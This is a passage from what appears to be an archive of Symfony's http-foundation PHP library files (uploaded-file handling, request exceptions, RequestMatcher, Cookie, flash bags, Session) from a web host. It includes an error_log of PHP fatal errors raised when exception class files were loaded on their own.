instances. * * @return UploadedFile[]|UploadedFile|null */ protected function convertFileInformation(array|UploadedFile $file): array|UploadedFile|null { if ($file instanceof UploadedFile) { return $file; } $file = $this->fixPhpFilesArray($file); $keys = array_keys($file); sort($keys); if (self::FILE_KEYS == $keys) { if (\UPLOAD_ERR_NO_FILE == $file['error']) { $file = null; } else { $file = new UploadedFile($file['tmp_name'], $file['name'], $file['type'], $file['error'], false); } } else { $file = array_map(fn ($v) => $v instanceof UploadedFile || \is_array($v) ? $this->convertFileInformation($v) : $v, $file); if (array_keys($keys) === $keys) { $file = array_filter($file); } } return $file; } /** * Fixes a malformed PHP $_FILES array. * * PHP has a bug that the format of the $_FILES array differs, depending on * whether the uploaded file fields had normal field names or array-like * field names ("normal" vs. "parent[child]"). * * This method fixes the array to look like the "normal" $_FILES array. * * It's safe to pass an already converted array, in which case this method * just returns the original array unmodified. */ protected function fixPhpFilesArray(array $data): array { // Remove extra key added by PHP 8.1. unset($data['full_path']); $keys = array_keys($data); sort($keys); if (self::FILE_KEYS != $keys || !isset($data['name']) || !\is_array($data['name'])) { return $data; } $files = $data; foreach (self::FILE_KEYS as $k) { unset($files[$k]); } foreach ($data['name'] as $key => $name) { $files[$key] = $this->fixPhpFilesArray([ 'error' => $data['error'][$key], 'name' => $name, 'type' => $data['type'][$key], 'tmp_name' => $data['tmp_name'][$key], 'size' => $data['size'][$key], ]); } return $files; } } http-foundation/Exception/JsonException.php000064400000001021151113511460015116 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Exception; /** * Thrown by Request::toArray() when the content cannot be JSON-decoded. * * @author Tobias Nyholm */ final class JsonException extends \UnexpectedValueException implements RequestExceptionInterface { } http-foundation/Exception/SessionNotFoundException.php000064400000001512151113511460017312 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Exception; /** * Raised when a session does not exist. This happens in the following cases: * - the session is not enabled * - attempt to read a session outside a request context (ie. cli script). * * @author Jérémy Derussé */ class SessionNotFoundException extends \LogicException implements RequestExceptionInterface { public function __construct(string $message = 'There is currently no session available.', int $code = 0, \Throwable $previous = null) { parent::__construct($message, $code, $previous); } } http-foundation/Exception/SuspiciousOperationException.php000064400000001021151113511460020234 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Exception; /** * Raised when a user has performed an operation that should be considered * suspicious from a security perspective. */ class SuspiciousOperationException extends \UnexpectedValueException implements RequestExceptionInterface { } http-foundation/Exception/RequestExceptionInterface.php000064400000000744151113511460017471 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Exception; /** * Interface for Request exceptions. * * Exceptions implementing this interface should trigger an HTTP 400 response in the application code. */ interface RequestExceptionInterface { } http-foundation/Exception/error_log000064400000014014151113511460013540 0ustar00[18-Nov-2025 09:33:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/BadRequestException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/BadRequestException.php on line 17 [18-Nov-2025 12:13:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php on line 18 [18-Nov-2025 12:23:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/ConflictingHeadersException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/ConflictingHeadersException.php on line 19 [18-Nov-2025 13:47:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/JsonException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/JsonException.php on line 19 [18-Nov-2025 15:22:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SessionNotFoundException.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SessionNotFoundException.php on line 21 [25-Nov-2025 03:06:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/ConflictingHeadersException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/ConflictingHeadersException.php on line 19 [25-Nov-2025 03:23:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php on line 18 [25-Nov-2025 03:27:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/JsonException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/JsonException.php on line 19 [25-Nov-2025 03:29:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/BadRequestException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/BadRequestException.php on line 17 [25-Nov-2025 05:29:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SessionNotFoundException.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SessionNotFoundException.php on line 21 [25-Nov-2025 23:08:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/JsonException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/JsonException.php on line 19 [26-Nov-2025 00:38:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php on line 18 [26-Nov-2025 01:22:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SessionNotFoundException.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/SessionNotFoundException.php on line 21 [26-Nov-2025 02:05:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/BadRequestException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/BadRequestException.php on line 17 [26-Nov-2025 02:06:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/ConflictingHeadersException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Exception/ConflictingHeadersException.php on line 19 http-foundation/Exception/ConflictingHeadersException.php000064400000001017151113511460017745 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Exception; /** * The HTTP request contains headers with conflicting information. * * @author Magnus Nordlander */ class ConflictingHeadersException extends \UnexpectedValueException implements RequestExceptionInterface { } http-foundation/Exception/BadRequestException.php000064400000000703151113511460016252 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Exception; /** * Raised when a user sends a malformed request. */ class BadRequestException extends \UnexpectedValueException implements RequestExceptionInterface { } http-foundation/RequestMatcher.php000064400000012311151113511460013330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; trigger_deprecation('symfony/http-foundation', '6.2', 'The "%s" class is deprecated, use "%s" instead.', RequestMatcher::class, ChainRequestMatcher::class); /** * RequestMatcher compares a pre-defined set of checks against a Request instance. * * @author Fabien Potencier * * @deprecated since Symfony 6.2, use ChainRequestMatcher instead */ class RequestMatcher implements RequestMatcherInterface { private ?string $path = null; private ?string $host = null; private ?int $port = null; /** * @var string[] */ private array $methods = []; /** * @var string[] */ private array $ips = []; /** * @var string[] */ private array $attributes = []; /** * @var string[] */ private array $schemes = []; /** * @param string|string[]|null $methods * @param string|string[]|null $ips * @param string|string[]|null $schemes */ public function __construct(string $path = null, string $host = null, string|array $methods = null, string|array $ips = null, array $attributes = [], string|array $schemes = null, int $port = null) { $this->matchPath($path); $this->matchHost($host); $this->matchMethod($methods); $this->matchIps($ips); $this->matchScheme($schemes); $this->matchPort($port); foreach ($attributes as $k => $v) { $this->matchAttribute($k, $v); } } /** * Adds a check for the HTTP scheme. * * @param string|string[]|null $scheme An HTTP scheme or an array of HTTP schemes * * @return void */ public function matchScheme(string|array|null $scheme) { $this->schemes = null !== $scheme ? array_map('strtolower', (array) $scheme) : []; } /** * Adds a check for the URL host name. * * @return void */ public function matchHost(?string $regexp) { $this->host = $regexp; } /** * Adds a check for the the URL port. * * @param int|null $port The port number to connect to * * @return void */ public function matchPort(?int $port) { $this->port = $port; } /** * Adds a check for the URL path info. * * @return void */ public function matchPath(?string $regexp) { $this->path = $regexp; } /** * Adds a check for the client IP. * * @param string $ip A specific IP address or a range specified using IP/netmask like 192.168.1.0/24 * * @return void */ public function matchIp(string $ip) { $this->matchIps($ip); } /** * Adds a check for the client IP. * * @param string|string[]|null $ips A specific IP address or a range specified using IP/netmask like 192.168.1.0/24 * * @return void */ public function matchIps(string|array|null $ips) { $ips = null !== $ips ? (array) $ips : []; $this->ips = array_reduce($ips, static fn (array $ips, string $ip) => array_merge($ips, preg_split('/\s*,\s*/', $ip)), []); } /** * Adds a check for the HTTP method. * * @param string|string[]|null $method An HTTP method or an array of HTTP methods * * @return void */ public function matchMethod(string|array|null $method) { $this->methods = null !== $method ? array_map('strtoupper', (array) $method) : []; } /** * Adds a check for request attribute. * * @return void */ public function matchAttribute(string $key, string $regexp) { $this->attributes[$key] = $regexp; } public function matches(Request $request): bool { if ($this->schemes && !\in_array($request->getScheme(), $this->schemes, true)) { return false; } if ($this->methods && !\in_array($request->getMethod(), $this->methods, true)) { return false; } foreach ($this->attributes as $key => $pattern) { $requestAttribute = $request->attributes->get($key); if (!\is_string($requestAttribute)) { return false; } if (!preg_match('{'.$pattern.'}', $requestAttribute)) { return false; } } if (null !== $this->path && !preg_match('{'.$this->path.'}', rawurldecode($request->getPathInfo()))) { return false; } if (null !== $this->host && !preg_match('{'.$this->host.'}i', $request->getHost())) { return false; } if (null !== $this->port && 0 < $this->port && $request->getPort() !== $this->port) { return false; } if (IpUtils::checkIp($request->getClientIp() ?? '', $this->ips)) { return true; } // Note to future implementors: add additional checks above the // foreach above or else your check might not be run! return 0 === \count($this->ips); } } http-foundation/RedirectResponse.php000064400000004763151113511460013670 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * RedirectResponse represents an HTTP response doing a redirect. * * @author Fabien Potencier */ class RedirectResponse extends Response { protected $targetUrl; /** * Creates a redirect response so that it conforms to the rules defined for a redirect status code. * * @param string $url The URL to redirect to. The URL should be a full URL, with schema etc., * but practically every browser redirects on paths only as well * @param int $status The HTTP status code (302 "Found" by default) * @param array $headers The headers (Location is always set to the given URL) * * @throws \InvalidArgumentException * * @see https://tools.ietf.org/html/rfc2616#section-10.3 */ public function __construct(string $url, int $status = 302, array $headers = []) { parent::__construct('', $status, $headers); $this->setTargetUrl($url); if (!$this->isRedirect()) { throw new \InvalidArgumentException(sprintf('The HTTP status code is not a redirect ("%s" given).', $status)); } if (301 == $status && !\array_key_exists('cache-control', array_change_key_case($headers, \CASE_LOWER))) { $this->headers->remove('cache-control'); } } /** * Returns the target URL. */ public function getTargetUrl(): string { return $this->targetUrl; } /** * Sets the redirect target of this response. * * @return $this * * @throws \InvalidArgumentException */ public function setTargetUrl(string $url): static { if ('' === $url) { throw new \InvalidArgumentException('Cannot redirect to an empty URL.'); } $this->targetUrl = $url; $this->setContent( sprintf(' Redirecting to %1$s Redirecting to %1$s. ', htmlspecialchars($url, \ENT_QUOTES, 'UTF-8'))); $this->headers->set('Location', $url); return $this; } } http-foundation/composer.json000064400000002414151113511460012410 0ustar00{ "name": "symfony/http-foundation", "type": "library", "description": "Defines an object-oriented layer for the HTTP specification", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.1", "symfony/polyfill-php83": "^1.27" }, "require-dev": { "doctrine/dbal": "^2.13.1|^3|^4", "predis/predis": "^1.1|^2.0", "symfony/cache": "^6.3", "symfony/dependency-injection": "^5.4|^6.0", "symfony/http-kernel": "^5.4.12|^6.0.12|^6.1.4", "symfony/mime": "^5.4|^6.0", "symfony/expression-language": "^5.4|^6.0", "symfony/rate-limiter": "^5.2|^6.0" }, "conflict": { "symfony/cache": "<6.3" }, "autoload": { "psr-4": { "Symfony\\Component\\HttpFoundation\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } http-foundation/Cookie.php000064400000026065151113511470011621 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * Represents a cookie. * * @author Johannes M. Schmitt */ class Cookie { public const SAMESITE_NONE = 'none'; public const SAMESITE_LAX = 'lax'; public const SAMESITE_STRICT = 'strict'; protected $name; protected $value; protected $domain; protected $expire; protected $path; protected $secure; protected $httpOnly; private bool $raw; private ?string $sameSite = null; private bool $secureDefault = false; private const RESERVED_CHARS_LIST = "=,; \t\r\n\v\f"; private const RESERVED_CHARS_FROM = ['=', ',', ';', ' ', "\t", "\r", "\n", "\v", "\f"]; private const RESERVED_CHARS_TO = ['%3D', '%2C', '%3B', '%20', '%09', '%0D', '%0A', '%0B', '%0C']; /** * Creates cookie from raw header string. */ public static function fromString(string $cookie, bool $decode = false): static { $data = [ 'expires' => 0, 'path' => '/', 'domain' => null, 'secure' => false, 'httponly' => false, 'raw' => !$decode, 'samesite' => null, ]; $parts = HeaderUtils::split($cookie, ';='); $part = array_shift($parts); $name = $decode ? urldecode($part[0]) : $part[0]; $value = isset($part[1]) ? ($decode ? urldecode($part[1]) : $part[1]) : null; $data = HeaderUtils::combine($parts) + $data; $data['expires'] = self::expiresTimestamp($data['expires']); if (isset($data['max-age']) && ($data['max-age'] > 0 || $data['expires'] > time())) { $data['expires'] = time() + (int) $data['max-age']; } return new static($name, $value, $data['expires'], $data['path'], $data['domain'], $data['secure'], $data['httponly'], $data['raw'], $data['samesite']); } /** * @see self::__construct * * @param self::SAMESITE_*|''|null $sameSite */ public static function create(string $name, string $value = null, int|string|\DateTimeInterface $expire = 0, ?string $path = '/', string $domain = null, bool $secure = null, bool $httpOnly = true, bool $raw = false, ?string $sameSite = self::SAMESITE_LAX): self { return new self($name, $value, $expire, $path, $domain, $secure, $httpOnly, $raw, $sameSite); } /** * @param string $name The name of the cookie * @param string|null $value The value of the cookie * @param int|string|\DateTimeInterface $expire The time the cookie expires * @param string|null $path The path on the server in which the cookie will be available on * @param string|null $domain The domain that the cookie is available to * @param bool|null $secure Whether the client should send back the cookie only over HTTPS or null to auto-enable this when the request is already using HTTPS * @param bool $httpOnly Whether the cookie will be made accessible only through the HTTP protocol * @param bool $raw Whether the cookie value should be sent with no url encoding * @param self::SAMESITE_*|''|null $sameSite Whether the cookie will be available for cross-site requests * * @throws \InvalidArgumentException */ public function __construct(string $name, string $value = null, int|string|\DateTimeInterface $expire = 0, ?string $path = '/', string $domain = null, bool $secure = null, bool $httpOnly = true, bool $raw = false, ?string $sameSite = self::SAMESITE_LAX) { // from PHP source code if ($raw && false !== strpbrk($name, self::RESERVED_CHARS_LIST)) { throw new \InvalidArgumentException(sprintf('The cookie name "%s" contains invalid characters.', $name)); } if (empty($name)) { throw new \InvalidArgumentException('The cookie name cannot be empty.'); } $this->name = $name; $this->value = $value; $this->domain = $domain; $this->expire = self::expiresTimestamp($expire); $this->path = empty($path) ? '/' : $path; $this->secure = $secure; $this->httpOnly = $httpOnly; $this->raw = $raw; $this->sameSite = $this->withSameSite($sameSite)->sameSite; } /** * Creates a cookie copy with a new value. */ public function withValue(?string $value): static { $cookie = clone $this; $cookie->value = $value; return $cookie; } /** * Creates a cookie copy with a new domain that the cookie is available to. */ public function withDomain(?string $domain): static { $cookie = clone $this; $cookie->domain = $domain; return $cookie; } /** * Creates a cookie copy with a new time the cookie expires. */ public function withExpires(int|string|\DateTimeInterface $expire = 0): static { $cookie = clone $this; $cookie->expire = self::expiresTimestamp($expire); return $cookie; } /** * Converts expires formats to a unix timestamp. */ private static function expiresTimestamp(int|string|\DateTimeInterface $expire = 0): int { // convert expiration time to a Unix timestamp if ($expire instanceof \DateTimeInterface) { $expire = $expire->format('U'); } elseif (!is_numeric($expire)) { $expire = strtotime($expire); if (false === $expire) { throw new \InvalidArgumentException('The cookie expiration time is not valid.'); } } return 0 < $expire ? (int) $expire : 0; } /** * Creates a cookie copy with a new path on the server in which the cookie will be available on. */ public function withPath(string $path): static { $cookie = clone $this; $cookie->path = '' === $path ? '/' : $path; return $cookie; } /** * Creates a cookie copy that only be transmitted over a secure HTTPS connection from the client. */ public function withSecure(bool $secure = true): static { $cookie = clone $this; $cookie->secure = $secure; return $cookie; } /** * Creates a cookie copy that be accessible only through the HTTP protocol. */ public function withHttpOnly(bool $httpOnly = true): static { $cookie = clone $this; $cookie->httpOnly = $httpOnly; return $cookie; } /** * Creates a cookie copy that uses no url encoding. */ public function withRaw(bool $raw = true): static { if ($raw && false !== strpbrk($this->name, self::RESERVED_CHARS_LIST)) { throw new \InvalidArgumentException(sprintf('The cookie name "%s" contains invalid characters.', $this->name)); } $cookie = clone $this; $cookie->raw = $raw; return $cookie; } /** * Creates a cookie copy with SameSite attribute. * * @param self::SAMESITE_*|''|null $sameSite */ public function withSameSite(?string $sameSite): static { if ('' === $sameSite) { $sameSite = null; } elseif (null !== $sameSite) { $sameSite = strtolower($sameSite); } if (!\in_array($sameSite, [self::SAMESITE_LAX, self::SAMESITE_STRICT, self::SAMESITE_NONE, null], true)) { throw new \InvalidArgumentException('The "sameSite" parameter value is not valid.'); } $cookie = clone $this; $cookie->sameSite = $sameSite; return $cookie; } /** * Returns the cookie as a string. */ public function __toString(): string { if ($this->isRaw()) { $str = $this->getName(); } else { $str = str_replace(self::RESERVED_CHARS_FROM, self::RESERVED_CHARS_TO, $this->getName()); } $str .= '='; if ('' === (string) $this->getValue()) { $str .= 'deleted; expires='.gmdate('D, d M Y H:i:s T', time() - 31536001).'; Max-Age=0'; } else { $str .= $this->isRaw() ? $this->getValue() : rawurlencode($this->getValue()); if (0 !== $this->getExpiresTime()) { $str .= '; expires='.gmdate('D, d M Y H:i:s T', $this->getExpiresTime()).'; Max-Age='.$this->getMaxAge(); } } if ($this->getPath()) { $str .= '; path='.$this->getPath(); } if ($this->getDomain()) { $str .= '; domain='.$this->getDomain(); } if (true === $this->isSecure()) { $str .= '; secure'; } if (true === $this->isHttpOnly()) { $str .= '; httponly'; } if (null !== $this->getSameSite()) { $str .= '; samesite='.$this->getSameSite(); } return $str; } /** * Gets the name of the cookie. */ public function getName(): string { return $this->name; } /** * Gets the value of the cookie. */ public function getValue(): ?string { return $this->value; } /** * Gets the domain that the cookie is available to. */ public function getDomain(): ?string { return $this->domain; } /** * Gets the time the cookie expires. */ public function getExpiresTime(): int { return $this->expire; } /** * Gets the max-age attribute. */ public function getMaxAge(): int { $maxAge = $this->expire - time(); return 0 >= $maxAge ? 0 : $maxAge; } /** * Gets the path on the server in which the cookie will be available on. */ public function getPath(): string { return $this->path; } /** * Checks whether the cookie should only be transmitted over a secure HTTPS connection from the client. */ public function isSecure(): bool { return $this->secure ?? $this->secureDefault; } /** * Checks whether the cookie will be made accessible only through the HTTP protocol. */ public function isHttpOnly(): bool { return $this->httpOnly; } /** * Whether this cookie is about to be cleared. */ public function isCleared(): bool { return 0 !== $this->expire && $this->expire < time(); } /** * Checks if the cookie value should be sent with no url encoding. */ public function isRaw(): bool { return $this->raw; } /** * @return self::SAMESITE_*|null */ public function getSameSite(): ?string { return $this->sameSite; } /** * @param bool $default The default value of the "secure" flag when it is set to null */ public function setSecureDefault(bool $default): void { $this->secureDefault = $default; } } http-foundation/Session/Flash/FlashBag.php000064400000004756151113511470014542 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Flash; /** * FlashBag flash message container. * * @author Drak */ class FlashBag implements FlashBagInterface { private string $name = 'flashes'; private array $flashes = []; private string $storageKey; /** * @param string $storageKey The key used to store flashes in the session */ public function __construct(string $storageKey = '_symfony_flashes') { $this->storageKey = $storageKey; } public function getName(): string { return $this->name; } /** * @return void */ public function setName(string $name) { $this->name = $name; } /** * @return void */ public function initialize(array &$flashes) { $this->flashes = &$flashes; } /** * @return void */ public function add(string $type, mixed $message) { $this->flashes[$type][] = $message; } public function peek(string $type, array $default = []): array { return $this->has($type) ? $this->flashes[$type] : $default; } public function peekAll(): array { return $this->flashes; } public function get(string $type, array $default = []): array { if (!$this->has($type)) { return $default; } $return = $this->flashes[$type]; unset($this->flashes[$type]); return $return; } public function all(): array { $return = $this->peekAll(); $this->flashes = []; return $return; } /** * @return void */ public function set(string $type, string|array $messages) { $this->flashes[$type] = (array) $messages; } /** * @return void */ public function setAll(array $messages) { $this->flashes = $messages; } public function has(string $type): bool { return \array_key_exists($type, $this->flashes) && $this->flashes[$type]; } public function keys(): array { return array_keys($this->flashes); } public function getStorageKey(): string { return $this->storageKey; } public function clear(): mixed { return $this->all(); } } http-foundation/Session/Flash/FlashBagInterface.php000064400000003350151113511470016350 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Flash; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; /** * FlashBagInterface. * * @author Drak */ interface FlashBagInterface extends SessionBagInterface { /** * Adds a flash message for the given type. * * @return void */ public function add(string $type, mixed $message); /** * Registers one or more messages for a given type. * * @return void */ public function set(string $type, string|array $messages); /** * Gets flash messages for a given type. * * @param string $type Message category type * @param array $default Default value if $type does not exist */ public function peek(string $type, array $default = []): array; /** * Gets all flash messages. */ public function peekAll(): array; /** * Gets and clears flash from the stack. * * @param array $default Default value if $type does not exist */ public function get(string $type, array $default = []): array; /** * Gets and clears flashes from the stack. */ public function all(): array; /** * Sets all flash messages. * * @return void */ public function setAll(array $messages); /** * Has flash messages for a given type? */ public function has(string $type): bool; /** * Returns a list of all defined types. */ public function keys(): array; } http-foundation/Session/Flash/AutoExpireFlashBag.php000064400000006277151113511470016550 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Flash; /** * AutoExpireFlashBag flash message container. * * @author Drak */ class AutoExpireFlashBag implements FlashBagInterface { private string $name = 'flashes'; private array $flashes = ['display' => [], 'new' => []]; private string $storageKey; /** * @param string $storageKey The key used to store flashes in the session */ public function __construct(string $storageKey = '_symfony_flashes') { $this->storageKey = $storageKey; } public function getName(): string { return $this->name; } /** * @return void */ public function setName(string $name) { $this->name = $name; } /** * @return void */ public function initialize(array &$flashes) { $this->flashes = &$flashes; // The logic: messages from the last request will be stored in new, so we move them to previous // This request we will show what is in 'display'. What is placed into 'new' this time round will // be moved to display next time round. $this->flashes['display'] = \array_key_exists('new', $this->flashes) ? $this->flashes['new'] : []; $this->flashes['new'] = []; } /** * @return void */ public function add(string $type, mixed $message) { $this->flashes['new'][$type][] = $message; } public function peek(string $type, array $default = []): array { return $this->has($type) ? $this->flashes['display'][$type] : $default; } public function peekAll(): array { return \array_key_exists('display', $this->flashes) ? $this->flashes['display'] : []; } public function get(string $type, array $default = []): array { $return = $default; if (!$this->has($type)) { return $return; } if (isset($this->flashes['display'][$type])) { $return = $this->flashes['display'][$type]; unset($this->flashes['display'][$type]); } return $return; } public function all(): array { $return = $this->flashes['display']; $this->flashes['display'] = []; return $return; } /** * @return void */ public function setAll(array $messages) { $this->flashes['new'] = $messages; } /** * @return void */ public function set(string $type, string|array $messages) { $this->flashes['new'][$type] = (array) $messages; } public function has(string $type): bool { return \array_key_exists($type, $this->flashes['display']) && $this->flashes['display'][$type]; } public function keys(): array { return array_keys($this->flashes['display']); } public function getStorageKey(): string { return $this->storageKey; } public function clear(): mixed { return $this->all(); } } http-foundation/Session/SessionBagInterface.php000064400000001511151113511470015676 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; /** * Session Bag store. * * @author Drak */ interface SessionBagInterface { /** * Gets this bag's name. */ public function getName(): string; /** * Initializes the Bag. * * @return void */ public function initialize(array &$array); /** * Gets the storage key for this bag. */ public function getStorageKey(): string; /** * Clears out data from bag. * * @return mixed Whatever data was contained */ public function clear(): mixed; } http-foundation/Session/Session.php000064400000013551151113511470013452 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag; use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBagInterface; use Symfony\Component\HttpFoundation\Session\Flash\FlashBag; use Symfony\Component\HttpFoundation\Session\Flash\FlashBagInterface; use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag; use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; use Symfony\Component\HttpFoundation\Session\Storage\SessionStorageInterface; // Help opcache.preload discover always-needed symbols class_exists(AttributeBag::class); class_exists(FlashBag::class); class_exists(SessionBagProxy::class); /** * @author Fabien Potencier * @author Drak * * @implements \IteratorAggregate */ class Session implements FlashBagAwareSessionInterface, \IteratorAggregate, \Countable { protected $storage; private string $flashName; private string $attributeName; private array $data = []; private int $usageIndex = 0; private ?\Closure $usageReporter; public function __construct(SessionStorageInterface $storage = null, AttributeBagInterface $attributes = null, FlashBagInterface $flashes = null, callable $usageReporter = null) { $this->storage = $storage ?? new NativeSessionStorage(); $this->usageReporter = null === $usageReporter ? null : $usageReporter(...); $attributes ??= new AttributeBag(); $this->attributeName = $attributes->getName(); $this->registerBag($attributes); $flashes ??= new FlashBag(); $this->flashName = $flashes->getName(); $this->registerBag($flashes); } public function start(): bool { return $this->storage->start(); } public function has(string $name): bool { return $this->getAttributeBag()->has($name); } public function get(string $name, mixed $default = null): mixed { return $this->getAttributeBag()->get($name, $default); } /** * @return void */ public function set(string $name, mixed $value) { $this->getAttributeBag()->set($name, $value); } public function all(): array { return $this->getAttributeBag()->all(); } /** * @return void */ public function replace(array $attributes) { $this->getAttributeBag()->replace($attributes); } public function remove(string $name): mixed { return $this->getAttributeBag()->remove($name); } /** * @return void */ public function clear() { $this->getAttributeBag()->clear(); } public function isStarted(): bool { return $this->storage->isStarted(); } /** * Returns an iterator for attributes. * * @return \ArrayIterator */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->getAttributeBag()->all()); } /** * Returns the number of attributes. */ public function count(): int { return \count($this->getAttributeBag()->all()); } public function &getUsageIndex(): int { return $this->usageIndex; } /** * @internal */ public function isEmpty(): bool { if ($this->isStarted()) { ++$this->usageIndex; if ($this->usageReporter && 0 <= $this->usageIndex) { ($this->usageReporter)(); } } foreach ($this->data as &$data) { if (!empty($data)) { return false; } } return true; } public function invalidate(int $lifetime = null): bool { $this->storage->clear(); return $this->migrate(true, $lifetime); } public function migrate(bool $destroy = false, int $lifetime = null): bool { return $this->storage->regenerate($destroy, $lifetime); } /** * @return void */ public function save() { $this->storage->save(); } public function getId(): string { return $this->storage->getId(); } /** * @return void */ public function setId(string $id) { if ($this->storage->getId() !== $id) { $this->storage->setId($id); } } public function getName(): string { return $this->storage->getName(); } /** * @return void */ public function setName(string $name) { $this->storage->setName($name); 